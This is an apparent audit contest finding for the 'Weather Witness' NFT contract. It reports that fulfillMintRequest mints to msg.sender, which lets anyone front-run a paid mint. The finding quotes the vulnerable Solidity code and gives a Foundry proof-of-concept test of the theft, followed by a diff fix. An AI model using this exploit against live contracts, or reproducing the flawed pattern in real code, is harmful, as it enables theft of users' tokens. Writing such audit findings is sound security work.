Weather Witness

First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Access Control Vulnerability in fulfillMintRequest Allows Unauthorized NFT Theft

Description

The fulfillMintRequest function in the WeatherNft contract is designed to allow users to mint their NFT after a Chainlink oracle has provided weather data for their request. Normally, only the original requester who paid for the mint should be able to call this function and receive the NFT.

The specific issue is that the function lacks proper access control checks, allowing any address to call fulfillMintRequest with a valid requestId. Instead of minting the NFT to the original requester stored in s_funcReqIdToUserMintReq[requestId].user, the function uses msg.sender as the recipient. This allows attackers to front-run legitimate users and steal their NFTs after paying nothing.

function fulfillMintRequest(bytes32 requestId) external {
bytes memory response = s_funcReqIdToMintFunctionReqResponse[requestId].response;
bytes memory err = s_funcReqIdToMintFunctionReqResponse[requestId].err;
require(response.length > 0 || err.length > 0, WeatherNft__Unauthorized());
if (response.length == 0 || err.length > 0) {
return;
}
UserMintRequest memory _userMintRequest = s_funcReqIdToUserMintReq[requestId];
uint8 weather = abi.decode(response, (uint8));
uint256 tokenId = s_tokenCounter;
s_tokenCounter++;
emit WeatherNFTMinted(
requestId,
msg.sender,
Weather(weather)
);
@>_mint(msg.sender, tokenId);<@
s_tokenIdToWeather[tokenId] = Weather(weather);
uint256 upkeepId;
if (_userMintRequest.registerKeeper) {
// Register chainlink keeper...
}
}

Risk

Likelihood: High

  • No special permissions or complex setup is required - any external address can exploit this vulnerability

Impact: high

  • Direct NFT theft where attackers can steal NFTs from legitimate users who have paid for them, resulting in financial loss for users and reputational damage for the protocol


Proof of Concept

function test_exploit_fulfillMintRequest_front_run() public {
// 1. User requests mint with payment (0.01 ETH)
vm.prank(user);
weatherNft.requestMintWeatherNFT{value: 0.01 ether}(mockRequestId);
// 2. Oracle responds with weather data
weatherNft.mockOracleFulfillment(mockRequestId, SimpleWeatherNft.Weather.RAINY);
// 3. EXPLOIT: Attacker front-runs the fulfillment
uint256 tokenId = weatherNft.s_tokenCounter();
vm.prank(attacker);
weatherNft.fulfillMintRequest(mockRequestId);
// 4. Verification: Attacker now owns the NFT
assertEq(weatherNft.ownerOf(tokenId), attacker, "Attacker should own the NFT");
assertEq(weatherNft.balanceOf(user), 0, "User should not own the NFT");
}

Recommended Mitigation

To fix the access control vulnerability in fulfillMintRequest, implement proper validation to ensure only the original requester can claim their NFT:

- msg.sender,
+ _userMintRequest.user,
Weather(weather)
);
- _mint(msg.sender, tokenId);
+ _mint(_userMintRequest.user, tokenId);
s_tokenIdToWeather[tokenId] = Weather(weather);
uint256 upkeepId;
if (_userMintRequest.registerKeeper) {
// Register chainlink keeper...
}
Updates

Appeal created

bube Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of ownership check in `fulfillMintRequest` function

There is no check to ensure that the caller of the `fulfillMintRequest` function is actually the owner of the `requestId`. This allows a malicious user to receive a NFT that is payed from someone else.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.